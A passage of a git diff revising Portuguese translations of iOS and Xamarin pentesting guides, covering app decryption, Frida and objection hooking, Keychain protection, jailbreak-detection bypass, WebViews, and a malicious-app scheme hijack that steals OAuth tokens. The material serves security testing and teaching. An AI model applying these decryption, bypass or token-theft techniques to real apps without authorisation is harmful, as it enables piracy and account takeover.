@@ dd bs=1 seek= conv=notrunc if=dump.bin of=Original_App #### **frida-ios-dump** -A ferramenta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) é utilizada para **descriptografar e extrair aplicativos automaticamente** de dispositivos iOS. Inicialmente, deve-se configurar o `dump.py` para conectar ao dispositivo iOS, o que pode ser feito através do localhost na porta 2222 via **iproxy** ou diretamente pelo endereço IP do dispositivo e porta. +A ferramenta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) é utilizada para **descriptografar e extrair aplicativos automaticamente** de dispositivos iOS. Inicialmente, é necessário configurar o `dump.py` para se conectar ao dispositivo iOS, o que pode ser feito através do localhost na porta 2222 via **iproxy** ou diretamente pelo endereço IP do dispositivo e porta. Os aplicativos instalados no dispositivo podem ser listados com o comando: ```bash @@ -158,7 +158,7 @@ bagbak --raw Chrome #### **Permitir Instalação de Aplicativos em Dispositivos que Não São iPad** -Para instalar aplicativos específicos para iPad em dispositivos iPhone ou iPod touch, o valor **UIDeviceFamily** no arquivo **Info.plist** precisa ser alterado para **1**. No entanto, essa modificação requer a re-assinatura do arquivo IPA devido a verificações de validação de assinatura. +Para instalar aplicativos específicos para iPad em dispositivos iPhone ou iPod touch, o valor **UIDeviceFamily** no arquivo **Info.plist** precisa ser alterado para **1**. Essa modificação, no entanto, requer a re-assinatura do arquivo IPA devido a verificações de validação de assinatura. **Nota**: Este método pode falhar se o aplicativo exigir capacidades exclusivas de modelos mais novos de iPad enquanto usa um iPhone ou iPod touch mais antigo. diff --git a/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md b/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md index d546a6a9f..396aefc52 100644 --- a/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md +++ b/src/mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md @@ -36,4 +36,6 @@ $ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/... ``` Ajustar a flag `-A num, --after-context=num` permite a exibição de mais ou menos linhas. Este método é viável mesmo para binários de aplicativos criptografados e foi verificado em vários aplicativos da App Store. Ferramentas mencionadas anteriormente também podem ser empregadas em dispositivos iOS com jailbreak para fins semelhantes. -**Nota**: O uso direto do comando `strings +**Nota**: O uso direto do comando `strings` não é recomendado para esta tarefa devido às suas limitações em encontrar informações relevantes. Em vez disso, é aconselhável empregar grep com a flag `-a` no binário ou utilizar radare2 (`izz`)/rabin2 (`-zz`) para resultados mais eficazes. + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index 68d11b9d1..d0630ad29 100644 --- a/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -23,7 +23,7 @@ Confira este post no blog sobre como usar o Frida em dispositivos não-jailbroke ## Instalação do Cliente Frida -Instale **ferramentas frida**: +Instale **frida tools**: ```bash pip install frida-tools pip install frida @@ -181,7 +181,7 @@ Stalker.flush() // this is important to get all events ## [Fpicker](https://github.com/ttdennis/fpicker) -[**fpicker**](https://github.com/ttdennis/fpicker) é um **conjunto de ferramentas de fuzzing baseado em Frida** que oferece uma variedade de modos de fuzzing para fuzzing em processo, como um modo AFL++ ou um modo de rastreamento passivo. Deve funcionar em todas as plataformas suportadas pelo Frida. +[**fpicker**](https://github.com/ttdennis/fpicker) é um **conjunto de fuzzing baseado em Frida** que oferece uma variedade de modos de fuzzing para fuzzing em processo, como um modo AFL++ ou um modo de rastreamento passivo. Deve funcionar em todas as plataformas suportadas pelo Frida. - [**Instalar fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa** ```bash diff --git a/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md b/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md index cbe70c61b..3081332d8 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md +++ b/src/mobile-pentesting/ios-pentesting/ios-app-extensions.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -As extensões de aplicativos aprimoram a funcionalidade dos aplicativos, permitindo que interajam com outros aplicativos ou com o sistema, fornecendo recursos ou conteúdos personalizados. Essas extensões incluem: +As extensões de aplicativos aprimoram a funcionalidade dos aplicativos, permitindo que interajam com outros aplicativos ou com o sistema, fornecendo recursos ou conteúdo personalizados. Essas extensões incluem: - **Teclado Personalizado**: Oferece um teclado exclusivo em todos os aplicativos, substituindo o teclado padrão do iOS. - **Compartilhar**: Permite compartilhar em redes sociais ou com outros diretamente. diff --git a/src/mobile-pentesting/ios-pentesting/ios-basics.md b/src/mobile-pentesting/ios-pentesting/ios-basics.md index 4938fc78c..d75f19863 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-basics.md +++ b/src/mobile-pentesting/ios-pentesting/ios-basics.md @@ -10,13 +10,13 @@ Os aplicativos são instalados em um diretório específico (`private/var/mobile O iOS oferece aos desenvolvedores as **APIs de Proteção de Dados**, construídas sobre o Secure Enclave Processor (SEP) — um coprocessador dedicado para operações criptográficas e gerenciamento de chaves. O SEP garante a integridade da proteção de dados por meio de uma chave específica do dispositivo, o UID do dispositivo, incorporada a ele. -Ao criar um arquivo, uma chave de criptografia AES de 256 bits única é gerada, criptografando o conteúdo do arquivo. Essa chave de criptografia, juntamente com um ID de classe, é então criptografada usando uma chave de classe e armazenada nos metadados do arquivo. A descriptografia de um arquivo envolve o uso da chave do sistema para acessar os metadados, recuperando a chave de classe com o ID de classe e, em seguida, descriptografando a chave de criptografia única do arquivo. +Ao criar um arquivo, uma chave de criptografia AES de 256 bits única é gerada, criptografando o conteúdo do arquivo. Essa chave de criptografia, juntamente com um ID de classe, é então criptografada usando uma chave de classe e armazenada nos metadados do arquivo. Descriptografar um arquivo envolve usar a chave do sistema para acessar os metadados, recuperar a chave de classe com o ID de classe e, em seguida, descriptografar a chave de criptografia única do arquivo. O iOS define **quatro classes de proteção** para segurança de dados, que determinam quando e como os dados podem ser acessados: - **Proteção Completa (NSFileProtectionComplete)**: Os dados são inacessíveis até que o dispositivo seja desbloqueado usando o código de acesso do usuário. -- **Protegido, a Menos que Esteja Aberto (NSFileProtectionCompleteUnlessOpen)**: Permite o acesso ao arquivo mesmo após o dispositivo estar bloqueado, desde que o arquivo tenha sido aberto quando o dispositivo foi desbloqueado. -- **Protegido Até a Primeira Autenticação do Usuário (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Os dados são acessíveis após a primeira desbloqueio do usuário pós-inicialização, permanecendo acessíveis mesmo que o dispositivo seja bloqueado novamente. +- **Protegido, a Menos que Aberto (NSFileProtectionCompleteUnlessOpen)**: Permite o acesso ao arquivo mesmo após o dispositivo estar bloqueado, desde que o arquivo tenha sido aberto quando o dispositivo foi desbloqueado. +- **Protegido Até a Primeira Autenticação do Usuário (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Os dados são acessíveis após a primeira desbloqueio do usuário após a inicialização, permanecendo acessíveis mesmo que o dispositivo seja bloqueado novamente. - **Sem Proteção (NSFileProtectionNone)**: Os dados são protegidos apenas pelo UID do dispositivo, facilitando a exclusão remota rápida de dados. A criptografia de todas as classes, exceto `NSFileProtectionNone`, envolve uma chave derivada tanto do UID do dispositivo quanto do código de acesso do usuário, garantindo que a descriptografia só seja possível no dispositivo com o código de acesso correto. A partir do iOS 7, a classe de proteção padrão é "Protegido Até a Primeira Autenticação do Usuário". @@ -47,7 +47,7 @@ A API do Keychain, detalhada na [documentação dos Serviços de Keychain da App Forçar a senha do Keychain envolve atacar a chave criptografada diretamente ou tentar adivinhar o código de acesso no próprio dispositivo, dificultado significativamente pela aplicação de um atraso entre tentativas falhas pelo enclave seguro. -### **Configurando a Proteção de Dados dos Itens do Keychain** +### **Configurando a Proteção de Dados do Item do Keychain** Os níveis de proteção de dados para itens do Keychain são definidos usando o atributo `kSecAttrAccessible` durante a criação ou atualização do item. Esses níveis, [conforme especificado pela Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), determinam quando e como os itens do Keychain são acessíveis: @@ -68,7 +68,7 @@ Os níveis de proteção de dados para itens do Keychain são definidos usando o ### **Persistência dos Dados do Keychain** -Ao contrário dos dados específicos do aplicativo que são excluídos após a desinstalação do aplicativo, os **dados do Keychain persistem** no dispositivo. Essa característica pode permitir que novos proprietários de um dispositivo de segunda mão acessem os dados do aplicativo do proprietário anterior simplesmente reinstalando os aplicativos. Os desenvolvedores são aconselhados a limpar proativamente os dados do Keychain ao instalar o aplicativo ou durante o logout para mitigar esse risco. Aqui está um exemplo de código Swift demonstrando como limpar os dados do Keychain na primeira execução do aplicativo: +Diferente dos dados específicos do aplicativo que são excluídos após a desinstalação do aplicativo, **os dados do Keychain persistem** no dispositivo. Essa característica pode permitir que novos proprietários de um dispositivo de segunda mão acessem os dados do aplicativo do proprietário anterior simplesmente reinstalando os aplicativos. Os desenvolvedores são aconselhados a limpar proativamente os dados do Keychain ao instalar o aplicativo ou durante o logout para mitigar esse risco. Aqui está um exemplo de código Swift demonstrando como limpar os dados do Keychain na primeira execução do aplicativo: ```swift let userDefaults = UserDefaults.standard @@ -86,11 +86,11 @@ No âmbito do desenvolvimento de aplicativos, **sandboxing** desempenha um papel Os desenvolvedores têm a capacidade de configurar certas **capacidades ou permissões** para seus aplicativos, como **Data Protection** ou **Keychain Sharing**. Essas permissões são aplicadas imediatamente após a instalação do aplicativo. No entanto, para acessar certos recursos protegidos, o aplicativo deve obter consentimento explícito do usuário no momento da primeira tentativa. Isso é alcançado por meio do uso de _purpose strings_ ou _usage description strings_, que são apresentados aos usuários em um alerta de solicitação de permissão. -Para aqueles com acesso ao código-fonte, a verificação das permissões incluídas no arquivo `Info.plist` pode ser feita da seguinte forma: +Para aqueles com acesso ao código-fonte, a verificação das permissões incluídas no arquivo `Info.plist` pode ser feita por: -1. Abrindo o projeto no Xcode. -2. Localizando e abrindo o arquivo `Info.plist`. -3. Pesquisando por chaves prefixadas com `"Privacy -"`, com a opção de visualizar chaves/valores brutos para clareza. +1. Abrir o projeto no Xcode. +2. Localizar e abrir o arquivo `Info.plist`. +3. Procurar por chaves prefixadas com `"Privacy -"`, com a opção de visualizar chaves/valores brutos para clareza. Ao lidar com um arquivo IPA, os seguintes passos podem ser seguidos: diff --git a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md index 9c483d28a..9f7ad6ada 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md +++ b/src/mobile-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md @@ -4,7 +4,7 @@ ## Informações Básicas -Esquemas de URL personalizados permitem que aplicativos se comuniquem usando um protocolo personalizado, conforme detalhado na [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Esses esquemas devem ser declarados pelo aplicativo, que então lida com URLs de entrada seguindo esses esquemas. É crucial **validar todos os parâmetros de URL** e **descartar quaisquer URLs malformadas** para prevenir ataques através desse vetor. +Os esquemas de URL personalizados permitem que aplicativos se comuniquem usando um protocolo personalizado, conforme detalhado na [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Esses esquemas devem ser declarados pelo aplicativo, que então lida com URLs de entrada seguindo esses esquemas. É crucial **validar todos os parâmetros de URL** e **descartar quaisquer URLs malformadas** para prevenir ataques através desse vetor. Um exemplo é dado onde o URI `myapp://hostname?data=123876123` invoca uma ação específica do aplicativo. Uma vulnerabilidade notada estava no aplicativo Skype Mobile, que permitia ações de chamada não autorizadas via o protocolo `skype://`. Os esquemas registrados podem ser encontrados no `Info.plist` do aplicativo sob `CFBundleURLTypes`. Aplicativos maliciosos podem explorar isso re-registrando URIs para interceptar informações sensíveis. @@ -66,7 +66,7 @@ Opened URL: iGoat://?contactNumber=0&message=0 De acordo com [**este post**](https://evanconnelly.github.io/post/ios-oauth/), aplicativos maliciosos poderiam **registrar esquemas personalizados de outros aplicativos,** então o aplicativo malicioso pode abrir um navegador que tem todos os cookies do Safari App com [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters). -Com o navegador, o aplicativo malicioso pode carregar uma página da web controlada pelo atacante e o TCC pedirá ao usuário móvel permissões para abrir esse aplicativo. Então, a página da web maliciosa poderia redirecionar para uma página da vítima, por exemplo, um fluxo OAuth com o parâmetro `prompt=none`. Se o usuário já estiver logado no fluxo OAuth, o fluxo OAuth enviará o segredo de volta para o aplicativo da vítima usando o esquema personalizado do aplicativo da vítima.\ +Com o navegador, o aplicativo malicioso pode carregar uma página da web controlada por um atacante e o TCC pedirá ao usuário móvel permissões para abrir esse aplicativo. Então, a página da web maliciosa poderia redirecionar para uma página da vítima, por exemplo, um fluxo OAuth com o parâmetro `prompt=none`. Se o usuário já estiver logado no fluxo OAuth, o fluxo OAuth enviará o segredo de volta para o aplicativo da vítima usando o esquema personalizado do aplicativo da vítima.\ No entanto, como o aplicativo malicioso também o registrou e porque o navegador usado está dentro do aplicativo malicioso, o esquema personalizado será tratado neste caso pelo aplicativo malicioso, que será capaz de roubar o token OAuth. ## Referências diff --git a/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md b/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md index 146cc9f74..93da49c3f 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md +++ b/src/mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md @@ -183,15 +183,15 @@ ios hooking search methods cvv Agora que você **enumerou as classes e módulos** usados pelo aplicativo, pode ter encontrado alguns **nomes de classes e métodos interessantes**. -## Hooking todos os métodos de uma classe +## Hook todas as métodos de uma classe -- `ios hooking watch class `: Hook todos os métodos de uma classe, despeje todos os parâmetros iniciais e retornos +- `ios hooking watch class `: Hook todas as métodos de uma classe, despejando todos os parâmetros iniciais e retornos ```bash ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController ``` -## Hooking um único método +## Hook um único método - `ios hooking watch method "-[ ]" --dump-args --dump-return --dump-backtrace`: Hook um método específico de uma classe despejando os parâmetros, backtraces e retornos do método cada vez que é chamado diff --git a/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md b/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md index 3c2faf964..621cee30f 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md +++ b/src/mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md @@ -51,11 +51,11 @@ var x: Double var name: String } ``` -Essa abordagem suporta a serialização direta para e a partir de listas de propriedades e JSON, melhorando o manuseio de dados em aplicações Swift. +Esta abordagem suporta a serialização direta de e para listas de propriedades e JSON, melhorando o manuseio de dados em aplicações Swift. ## Alternativas de Codificação JSON e XML -Além do suporte nativo, várias bibliotecas de terceiros oferecem capacidades de codificação/decodificação JSON e XML, cada uma com suas próprias características de desempenho e considerações de segurança. É imperativo selecionar essas bibliotecas com cuidado, especialmente para mitigar vulnerabilidades como ataques XXE (XML External Entities) configurando os analisadores para prevenir o processamento de entidades externas. +Além do suporte nativo, várias bibliotecas de terceiros oferecem capacidades de codificação/decodificação JSON e XML, cada uma com suas próprias características de desempenho e considerações de segurança. É imperativo selecionar cuidadosamente essas bibliotecas, especialmente para mitigar vulnerabilidades como ataques XXE (XML External Entities) configurando os analisadores para evitar o processamento de entidades externas. ### Considerações de Segurança diff --git a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md index 78b219d47..f95fac828 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md +++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md @@ -24,7 +24,7 @@ A primeira coisa que você precisa saber é que **realizar um pentest dentro de Todas as ferramentas necessárias para construir e suportar um aplicativo iOS são **apenas oficialmente suportadas no Mac OS**.\ A ferramenta de fato da Apple para criar/debugar/instrumentar aplicativos iOS é o **Xcode**. Ele pode ser usado para baixar outros componentes, como **simuladores** e diferentes **versões de SDK** necessárias para construir e **testar** seu aplicativo.\ -É altamente recomendado **baixar** o Xcode da **loja de aplicativos oficial**. Outras versões podem conter malware. +É altamente recomendável **baixar** o Xcode da **loja de aplicativos oficial**. Outras versões podem conter malware. Os arquivos do simulador podem ser encontrados em `/Users//Library/Developer/CoreSimulator/Devices` @@ -106,7 +106,7 @@ basic-ios-testing-operations.md **Vários aplicativos tentarão detectar se o celular está jailbreakado e, nesse caso, o aplicativo não será executado** -- Após o jailbreak, um **arquivos e pastas geralmente são instalados**, estes podem ser pesquisados para determinar se o dispositivo está jailbreakado. +- Após o jailbreak, um iOS **arquivos e pastas geralmente são instalados**, estes podem ser pesquisados para determinar se o dispositivo está jailbreakado. - Em um dispositivo jailbreakado, os aplicativos obtêm **acesso de leitura/gravação a novos arquivos** fora do sandbox. - Algumas **chamadas de API** **comportar-se-ão de maneira diferente**. - A presença do serviço **OpenSSH**. @@ -119,7 +119,7 @@ Você pode tentar evitar essas detecções usando **objection's** `ios jailbreak ## **Bypass de Detecção de Jailbreak** - Você pode tentar evitar essas detecções usando **objection's** `ios jailbreak disable` -- Você também pode instalar a ferramenta **Liberty Lite** (https://ryleyangus.com/repo/). Uma vez que o repositório é adicionado, o aplicativo deve aparecer na aba ‘Buscar’ +- Você também pode instalar a ferramenta **Liberty Lite** (https://ryleyangus.com/repo/). Uma vez que o repositório é adicionado, o aplicativo deve aparecer na aba ‘Pesquisar’ ## Referências diff --git a/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md b/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md index d9ff3c5df..85854d051 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md +++ b/src/mobile-pentesting/ios-pentesting/ios-uiactivity-sharing.md @@ -4,7 +4,7 @@ # UIActivity Sharing Simplificado -A partir do iOS 6, aplicativos de terceiros foram habilitados a **compartilhar dados** como texto, URLs ou imagens usando mecanismos como AirDrop, conforme descrito no [guia de Comunicação entre Aplicativos](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) da Apple. Esse recurso se manifesta através de uma _tela de atividade de compartilhamento_ em todo o sistema que aparece ao interagir com o botão "Compartilhar". +A partir do iOS 6, aplicativos de terceiros foram habilitados a **compartilhar dados** como texto, URLs ou imagens usando mecanismos como AirDrop, conforme descrito no [guia de Comunicação entre Aplicativos](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) da Apple. Este recurso se manifesta através de uma _folha de atividade de compartilhamento_ em todo o sistema que aparece ao interagir com o botão "Compartilhar". Uma enumeração abrangente de todas as opções de compartilhamento integradas está disponível em [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Os desenvolvedores podem optar por excluir opções de compartilhamento específicas se considerarem inadequadas para seu aplicativo. diff --git a/src/mobile-pentesting/ios-pentesting/ios-universal-links.md b/src/mobile-pentesting/ios-pentesting/ios-universal-links.md index 327129805..d0cb557c7 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-universal-links.md +++ b/src/mobile-pentesting/ios-pentesting/ios-universal-links.md @@ -74,7 +74,7 @@ Através de **configuração e validação diligentes**, os desenvolvedores pode ## Ferramentas -- [GetUniversal.link](https://getuniversal.link/): Ajuda a simplificar o teste e a gestão dos Links Universais e do arquivo AASA do seu aplicativo. Basta inserir seu domínio para verificar a integridade do arquivo AASA ou usar o painel personalizado para testar facilmente o comportamento do link. Esta ferramenta também ajuda a determinar quando a Apple indexará seu arquivo AASA novamente. +- [GetUniversal.link](https://getuniversal.link/): Ajuda a simplificar o teste e a gestão dos Links Universais e do arquivo AASA do seu aplicativo. Basta inserir seu domínio para verificar a integridade do arquivo AASA ou usar o painel personalizado para testar facilmente o comportamento dos links. Esta ferramenta também ajuda a determinar quando a Apple indexará seu arquivo AASA novamente. ## Referências diff --git a/src/mobile-pentesting/ios-pentesting/ios-webviews.md b/src/mobile-pentesting/ios-pentesting/ios-webviews.md index 340579746..350efcf62 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-webviews.md +++ b/src/mobile-pentesting/ios-pentesting/ios-webviews.md @@ -12,7 +12,7 @@ WebViews são utilizados dentro de aplicativos para exibir conteúdo web de form - **WKWebView** é a opção preferida para incorporar conteúdo web em aplicativos, oferecendo controle aprimorado sobre o conteúdo e recursos de segurança. **JavaScript** é habilitado por padrão, mas pode ser desativado se necessário. Também suporta recursos para impedir que o JavaScript abra janelas automaticamente e garante que todo o conteúdo seja carregado de forma segura. Além disso, a arquitetura do **WKWebView** minimiza o risco de corrupção de memória afetar o processo principal do aplicativo. -- **SFSafariViewController** oferece uma experiência de navegação web padronizada dentro dos aplicativos, reconhecível por seu layout específico, incluindo um campo de endereço somente leitura, botões de compartilhamento e navegação, e um link direto para abrir conteúdo no Safari. Ao contrário do **WKWebView**, **JavaScript** não pode ser desativado no **SFSafariViewController**, que também compartilha cookies e dados com o Safari, mantendo a privacidade do usuário em relação ao aplicativo. Deve ser exibido de forma proeminente de acordo com as diretrizes da App Store. +- **SFSafariViewController** oferece uma experiência de navegação web padronizada dentro de aplicativos, reconhecível por seu layout específico, incluindo um campo de endereço somente leitura, botões de compartilhamento e navegação, e um link direto para abrir conteúdo no Safari. Ao contrário do **WKWebView**, **JavaScript** não pode ser desativado no **SFSafariViewController**, que também compartilha cookies e dados com o Safari, mantendo a privacidade do usuário em relação ao aplicativo. Deve ser exibido de forma proeminente de acordo com as diretrizes da App Store. ```javascript // Example of disabling JavaScript in WKWebView: WKPreferences *preferences = [[WKPreferences alloc] init]; @@ -25,7 +25,7 @@ WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:c ### **Visão Geral da Análise Estática** -No processo de exame das configurações de **WebViews**, dois tipos principais são focados: **UIWebView** e **WKWebView**. Para identificar esses WebViews dentro de um binário, comandos são utilizados, buscando referências de classe específicas e métodos de inicialização. +No processo de examinar as configurações de **WebViews**, dois tipos principais são focados: **UIWebView** e **WKWebView**. Para identificar esses WebViews dentro de um binário, comandos são utilizados, buscando referências de classe específicas e métodos de inicialização. - **Identificação do UIWebView** ```bash @@ -51,7 +51,7 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" ``` #### **Verificação de Conteúdo Apenas Seguro** -**WKWebView** oferece a capacidade de identificar problemas de conteúdo misto, em contraste com **UIWebView**. Isso é verificado usando a propriedade `hasOnlySecureContent` para garantir que todos os recursos da página sejam carregados por meio de conexões seguras. A busca no binário compilado é realizada da seguinte forma: +**WKWebView** oferece a capacidade de identificar problemas de conteúdo misto, ao contrário do **UIWebView**. Isso é verificado usando a propriedade `hasOnlySecureContent` para garantir que todos os recursos da página sejam carregados através de conexões seguras. A busca no binário compilado é realizada da seguinte forma: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` @@ -120,7 +120,7 @@ Este resumo encapsula os passos e comandos críticos envolvidos na análise das ## Manipulação de Protocólos do WebView -Manipular conteúdo em WebViews é um aspecto crítico, especialmente ao lidar com vários protocolos como `http(s)://`, `file://` e `tel://`. Esses protocolos permitem o carregamento de conteúdo remoto e local dentro dos aplicativos. É enfatizado que, ao carregar conteúdo local, devem ser tomadas precauções para evitar que os usuários influenciem o nome ou caminho do arquivo e editem o conteúdo em si. +Manipular conteúdo em WebViews é um aspecto crítico, especialmente ao lidar com vários protocolos como `http(s)://`, `file://` e `tel://`. Esses protocolos permitem o carregamento de conteúdo remoto e local dentro de aplicativos. É enfatizado que, ao carregar conteúdo local, devem ser tomadas precauções para evitar que os usuários influenciem o nome ou caminho do arquivo e editem o conteúdo em si. **WebViews** oferecem diferentes métodos para carregamento de conteúdo. Para **UIWebView**, agora obsoleto, métodos como `loadHTMLString:baseURL:` e `loadData:MIMEType:textEncodingName:baseURL:` são utilizados. **WKWebView**, por outro lado, emprega `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` e `loadRequest:` para conteúdo web. Métodos como `pathForResource:ofType:`, `URLForResource:withExtension:` e `init(contentsOf:encoding:)` são tipicamente utilizados para carregar arquivos locais. O método `loadFileURL:allowingReadAccessToURL:` é particularmente notável por sua capacidade de carregar uma URL ou diretório específico no WebView, potencialmente expondo dados sensíveis se um diretório for especificado. @@ -185,7 +185,7 @@ xhr.send(null) ## Entendendo Interfaces Nativas do WebView no iOS -A partir do iOS 7, a Apple forneceu APIs para **comunicação entre JavaScript em um WebView e nativos** objetos Swift ou Objective-C. Essa integração é facilitada principalmente por dois métodos: +A partir do iOS 7, a Apple forneceu APIs para **comunicação entre JavaScript em um WebView e nativo** objetos Swift ou Objective-C. Essa integração é facilitada principalmente por dois métodos: - **JSContext**: Uma função JavaScript é criada automaticamente quando um bloco Swift ou Objective-C é vinculado a um identificador dentro de um `JSContext`. Isso permite uma integração e comunicação perfeitas entre JavaScript e código nativo. - **JSExport Protocol**: Ao herdar o protocolo `JSExport`, propriedades nativas, métodos de instância e métodos de classe podem ser expostos ao JavaScript. Isso significa que quaisquer alterações feitas no ambiente JavaScript são refletidas no ambiente nativo, e vice-versa. No entanto, é essencial garantir que dados sensíveis não sejam expostos inadvertidamente por meio desse método. diff --git a/src/mobile-pentesting/xamarin-apps.md b/src/mobile-pentesting/xamarin-apps.md index 5b417b7b9..fda4685b7 100644 --- a/src/mobile-pentesting/xamarin-apps.md +++ b/src/mobile-pentesting/xamarin-apps.md @@ -4,12 +4,12 @@ ## **Informações Básicas** -Xamarin é uma **plataforma de código aberto** projetada para desenvolvedores **criarem aplicativos para iOS, Android e Windows** usando os frameworks .NET e C#. Esta plataforma oferece acesso a inúmeras ferramentas e extensões para criar aplicações modernas de forma eficiente. +Xamarin é uma **plataforma de código aberto** projetada para desenvolvedores **construírem aplicativos para iOS, Android e Windows** usando os frameworks .NET e C#. Esta plataforma oferece acesso a inúmeras ferramentas e extensões para criar aplicações modernas de forma eficiente. ### Arquitetura do Xamarin - Para **Android**, o Xamarin se integra com namespaces Android e Java através de bindings .NET, operando dentro do ambiente de execução Mono ao lado do Android Runtime (ART). Managed Callable Wrappers (MCW) e Android Callable Wrappers (ACW) facilitam a comunicação entre Mono e ART, ambos construídos sobre o kernel Linux. -- Para **iOS**, os aplicativos são executados sob o runtime Mono, utilizando compilação completa Ahead of Time (AOT) para converter código C# .NET em linguagem de montagem ARM. Este processo ocorre ao lado do Objective-C Runtime em um kernel semelhante ao UNIX. +- Para **iOS**, as aplicações rodam sob o runtime Mono, utilizando compilação completa Ahead of Time (AOT) para converter código C# .NET em linguagem de montagem ARM. Este processo ocorre ao lado do Objective-C Runtime em um kernel semelhante ao UNIX. ### Runtime .NET e Framework Mono @@ -24,7 +24,7 @@ A decompilação transforma código compilado de volta em código-fonte. No Wind #### Compilação JIT vs AOT - **Android** suporta compilação Just-In-Time (JIT) e Ahead-Of-Time (AOT), com um modo híbrido AOT para velocidade de execução ideal. A compilação completa AOT é exclusiva para licenças Enterprise. -- **iOS** emprega exclusivamente a compilação AOT devido às restrições da Apple sobre a execução de código dinâmico. +- **iOS** emprega exclusivamente a compilação AOT devido às restrições da Apple sobre execução de código dinâmico. ### Extraindo arquivos dll de APK/IPA @@ -32,7 +32,7 @@ Para acessar os assemblies em um APK/IPA, descompacte o arquivo e explore o dire ```bash python3 xamarin-decompress.py -o /path/to/decompressed/apk ``` -Nos casos em que, após decompilar o APK, é possível ver a pasta unknown/assemblies/ com os arquivos `.dll` dentro dela, é possível usar [**dnSpy**](https://github.com/dnSpy/dnSpy) diretamente sobre os `.dlls` para analisá-los.\ +Nos casos em que, após descompilar o APK, é possível ver a pasta unknown/assemblies/ com os arquivos `.dll` dentro dela, é possível usar [**dnSpy**](https://github.com/dnSpy/dnSpy) diretamente sobre os `.dlls` para analisá-los.\ No entanto, às vezes, são encontrados os arquivos `assemblies.blob` e `assemblies.manifest` dentro da pasta unknown/assemblies/. A ferramenta [pyxamstore](https://github.com/jakev/pyxamstore) pode ser usada para descompactar o arquivo `assemblies.blob` em aplicativos Xamarin, permitindo o acesso aos assemblies .NET para análise adicional: ```bash pyxamstore unpack -d /path/to/decompressed/apk/assemblies/ diff --git a/src/network-services-pentesting/1099-pentesting-java-rmi.md b/src/network-services-pentesting/1099-pentesting-java-rmi.md index 4333f41dc..dfc986d3d 100644 --- a/src/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md @@ -27,7 +27,7 @@ Para simplificar, _Java RMI_ permite que um desenvolvedor torne um _objeto Java_ O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomeação para _Java RMI_. O _RMI registry_ em si também é um _serviço RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente. -Quando os desenvolvedores 